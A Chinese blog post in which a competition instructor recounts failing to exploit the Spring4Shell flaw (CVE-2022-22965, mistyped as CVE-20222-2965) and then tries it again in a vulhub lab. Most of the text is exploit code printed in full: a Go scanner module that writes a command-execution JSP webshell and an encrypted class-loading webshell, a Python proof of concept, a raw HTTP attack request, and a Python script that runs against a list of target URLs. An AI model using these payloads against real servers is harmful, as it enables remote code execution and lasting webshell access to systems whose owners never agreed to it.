background 去了某场比赛当了某单位的指导老师,全程都是事故,结果也没有达到预期,弱爆了。本来计划中的发展是第一天开始,第二天15:00结束,第一天我按时赶到,然后中午撤。有位大哥来给我顶着。大哥早上都上了高铁,然后单位有事就给他叫回去了。那我肯定就是回不去了。第一天开打我们扫描器一点资产都扫不到,第二天才发下是网络开放的问题,然后给我们加时……就给了个B段的内网地址,自己搜集资产。全是水洞,没啥技术含量我就不记录了,有个我们没做出来的springboot很有意思,我之前也没打过springboot。恶心就恶心在你知道靶机是springboot,但你不知道哪个是靶机,不知道自己看到的是靶机还是业务系统。
CVE-20222-2965 确定靶机是这个洞,我们当时也找了个springboot,扫描器也告警了,就是这样的
然后当时全部是内网,我得把poc打包到txt里然后给运维,运维上堡垒机把东西传给我们。我在网上找了几个poc,还找了个利用工具,反正都没打通。我在burp里手动发包,都没效果,shell写不进去,就很奇怪。
我在github上看了扫描器源码里的poc(https://Github.com/SummerSec ),跟我复制到txt里的一样。
package _022import ( req2 "github.com/SummerSec/SpringExploit/cmd/commons/req" "github.com/SummerSec/SpringExploit/cmd/commons/utils" "github.com/fatih/structs" "github.com/imroc/req/v3" log "github.com/sirupsen/logrus" "net/url" "time" ) type CVE202222965 struct {}const ( body = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=" context = "%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di" body1 = "&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=" body2 = "&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" beichen = "%25%7Bprefix%7Di!%20String%20xc%3D%223c6e0b8a9c15224a%22%3B%20class%20X%20extends%20ClassLoader%7Bpublic%20X(ClassLoader%20z)%7Bsuper(z)%3B%7Dpublic%20Class%20Q(byte%5B%5D%20cb)%7Breturn%20super.defineClass(cb%2C%200%2C%20cb.length)%3B%7D%20%7Dpublic%20byte%5B%5D%20x(byte%5B%5D%20s%2Cboolean%20m)%7B%20try%7Bjavax.crypto.Cipher%20c%3Djavax.crypto.Cipher.getInstance(%22AES%22)%3Bc.init(m%3F1%3A2%2Cnew%20javax.crypto.spec.SecretKeySpec(xc.getBytes()%2C%22AES%22))%3Breturn%20c.doFinal(s)%3B%20%7Dcatch%20(Exception%20e)%7Breturn%20null%3B%20%7D%7D%25%7Bsuffix%7Di%25%7Bprefix%7Ditry%7Bbyte%5B%5D%20data%3Dnew%20byte%5BInteger.parseInt(request.getHeader(%22Content-Length%22))%5D%3Bjava.io.InputStream%20inputStream%3D%20request.getInputStream()%3Bint%20_num%3D0%3Bwhile%20((_num%2B%3DinputStream.read(data%2C_num%2Cdata.length))%3Cdata.length)%3Bdata%3Dx(data%2C%20false)%3Bif%20(session.getAttribute(%22payload%22)%3D%3Dnull)%7Bsession.setAttribute(%22payload%22%2Cnew%20X(this.getClass().getClassLoader()).Q(data))%3B%7Delse%7Brequest.setAttribute(%22parameters%22%2C%20data)%3BObject%20f%3D((Class)session.getAttribute(%22payload%22)).newInstance()%3Bjava.io.ByteArrayOutputStream%20arrOut%3Dnew%20java.io.ByteArrayOutputStream()%3Bf.equals(arrOut)%3Bf.equals(pageContext)%3Bf.toString()%3Bresponse.getOutputStream().write(x(arrOut.toByteArray()%2C%20true))%3B%7D%20%7Dcatch%20(Exception%20e)%7B%7D%25%7Bsuffix%7Di" file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_" pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=" ) func (p CVE202222965) SendPoc(target string , hashmap map [string ]interface {}) { shellname := utils.GetCode(6 ) time.Sleep(time.Second * 1 ) shellname1 := utils.GetCode(8 ) log.Debugf("shellname: %s" , shellname) log.Debugf("shellname1: %s" , shellname1) payload1 := body + context + body1 + shellname + body2 rebeyond := body + beichen + body1 + shellname1 + body2 log.Debugf("[+] Running CVE202222965 poc" ) reqinfo := req2.NewReqInfo() reqmap := structs.Map(reqinfo) get_headers := map [string ]string { "suffix" : "%>" , "c" : "Runtime" , "prefix" : "<%" , "User-Agent" : utils.GetUA(), } post_get_headers := map [string ]string { "User-Agent" : utils.GetUA(), "Content-Type" : "application/x-www-form-urlencoded" , } reqmap["url" ] = target reqmap["timeout" ] = hashmap["Timeout" ].(int ) reqmap["retry" ] = hashmap["Retry" ].(int ) reqmap["proxy" ] = hashmap["Proxy" ].(string ) reqmap["mode" ] = hashmap["Mode" ].(int ) reqmap["h1" ] = hashmap["H1" ].(bool ) reqmap["redirect" ] = hashmap["Redirect" ].(bool ) f := 0 for f < 2 { time.Sleep(time.Second * 1 ) reqmap["method" ] = "POST" reqmap["body" ] = file_date_data reqmap["headers" ] = post_get_headers utils.Send(reqmap) if f == 0 { reqmap["body" ] = rebeyond reqmap["headers" ] = post_get_headers } else { reqmap["body" ] = payload1 reqmap["headers" ] = post_get_headers } utils.Send(reqmap) time.Sleep(time.Second * 3 ) if f == 1 { r, _ := url.Parse(target) log.Info("[+] CVE202222965 poc success" ) cmdshell := r.Scheme + "://" + r.Host + "/" + shellname + ".jsp" beichenshell := r.Scheme + "://" + r.Host + "/" + shellname1 + ".jsp" reqmap["url" ] = cmdshell reqmap["method" ] = "GET" reqmap["body" ] = "" reqmap["headers" ] = post_get_headers resp1 := utils.Send(reqmap) reqmap["url" ] = beichenshell resp2 := utils.Send(reqmap) if resp1 != nil && resp2 != nil { if p.CheckExp(resp1, cmdshell, hashmap) && p.CheckExp(resp2, beichenshell, hashmap) { log.Info("[+] CVE202222965 poc success" ) res := target + " 可能存在CVE202222965没有进行验证 手动验证: " + r.Scheme + "://" + r.Host + "/" + shellname + ".jsp" + "?cmd=whoami or " + r.Scheme + "://" + r.Host + "/" + shellname1 + ".jsp 哥斯拉 pass key " log.Info(res) p.SaveResult(res, hashmap["Out" ].(string )) } } } reqmap["method" ] = "GET" reqmap["body" ] = "" reqmap["headers" ] = get_headers utils.Send(reqmap) time.Sleep(time.Second * 1 ) reqmap["body" ] = pattern_data reqmap["method" ] = "POST" reqmap["headers" ] = post_get_headers utils.Send(reqmap) f++ } } func (p CVE202222965) SaveResult(target string , file string ) { err := utils.SaveToFile(target, file) if err != nil { log.Debugf("[-] Save result failed" ) log.Debugf(err.Error()) return } } func (p CVE202222965) CheckExp(resp *req.Response, target string , hashmap map [string ]interface {}) bool { if resp.IsSuccess() { return true } return false }
当时txt里存的poc
import requests headers={ "suffix" : "%>//" , "c1" : "Runtime" , "c2" : "<%" } payload1='/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("fuck".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' ip="http://192.168.1.136:8080" payload2='/fuck.jsp?pwd=fuck&cmd=id' try : U1=requests.get(url=ip+payload1,headers=headers,verify=False ,timeout=3 ) U2=requests.get(url=ip+payload2,verify=False ,timeout=3 ) if U2.status_code == 200 : print (f"The VULN CVE-2022-22965 exists, payload is :{payload2.replace('/' ,'' )} " ) except Exception as e: print (e) GET /?class .module.classLoader.resources.context.parent.pipeline.first.pattern=%25 %7Bc2%7Di%20 if (%22fuck%22. equals(request.getParameter(%22pwd%22 )))%7B%20java.io.InputStream%20 in %20 =%20 %25 %7Bc1%7Di.getRuntime().exec (request.getParameter(%22cmd%22 )).getInputStream();%20 int %20a%20 =%20 -1 ;%20byte%5B%5D%20b%20 =%20new%20byte%5B2048%5D;%20 while ((a=in .read(b))!=-1 )%7B%20out.println(new%20String(b));%20 %7D%20 %7D%20 %25 %7Bsuffix%7Di&class .module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class .module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class .module.classLoader.resources.context.parent.pipeline.first.prefix=fuck&class .module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1 suffix: %>// c1: Runtime c2: <% import requestsimport argparsefrom urllib.parse import urljoindef Exploit (url ): headers = {"suffix" :"%>//" , "c1" :"Runtime" , "c2" :"<%" , "DNT" :"1" , "Content-Type" :"application/x-www-form-urlencoded" } data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" try : go = requests.post(url,headers=headers, data=data, timeout=15 , allow_redirects=False , verify=False ) shellurl = urljoin(url, 'tomcatwar.jsp' ) shellgo = requests.get(shellurl, timeout=15 , allow_redirects=False , verify=False ) if shellgo.status_code == 200 : print (f"The vulnerability exists, the shell address is :{shellurl} ?pwd=j&cmd=whoami" ) except Exception as e: print (e) pass def main (): parser = argparse.ArgumentParser(description='Spring-Core Rce.' ) parser.add_argument('--file' , help ='url file' , required=False ) parser.add_argument('--url' , help ='target url' , required=False ) args = parser.parse_args() if args.url: Exploit(args.url) if args.file: with open (args.file) as f: for i in f.readlines(): i = i.strip() Exploit(i) if __name__ == '__main__' : main()
反正都打不通,最后抓了扫描器的包,发现扫描器对这个cve的包返回结果都是404,然后我就下定义,这个是误报。因为我手动也没打通,抓的数据包都是一堆返回404的。
结束后发现靶机的springboot就是用CVE-20222-2965打的,我懵了,然后准备回来看看到底是什么情况。别人用的是曾哥的guiscan打的,老实说我没用过这个工具,不会用,当然摸索一下百度一下会用是没问题的,关键就是我手动抓包了。最主要的是不确定他是不是靶机,我以为是正常业务系统呢。
漏洞复现 起环境
docker pull vulhub/spring-webmvc:5.3.17 docker run -d -p 8081:8080 dceea93a0868
springexploit扫了一下发现报了cve。抓包看下poc发现结果都是404,这就很奇怪。然后 nice 百度主站rce~ 确定了,这工具不靠谱。
用曾哥的工具
啊?没货?我vulhub拉的环境啊!!! 还有poc,打打看 666,之前换poc可以打,写文章的时候都不行了
这洞貌似有点玄学,不管了,后面研究springboot的时候再看。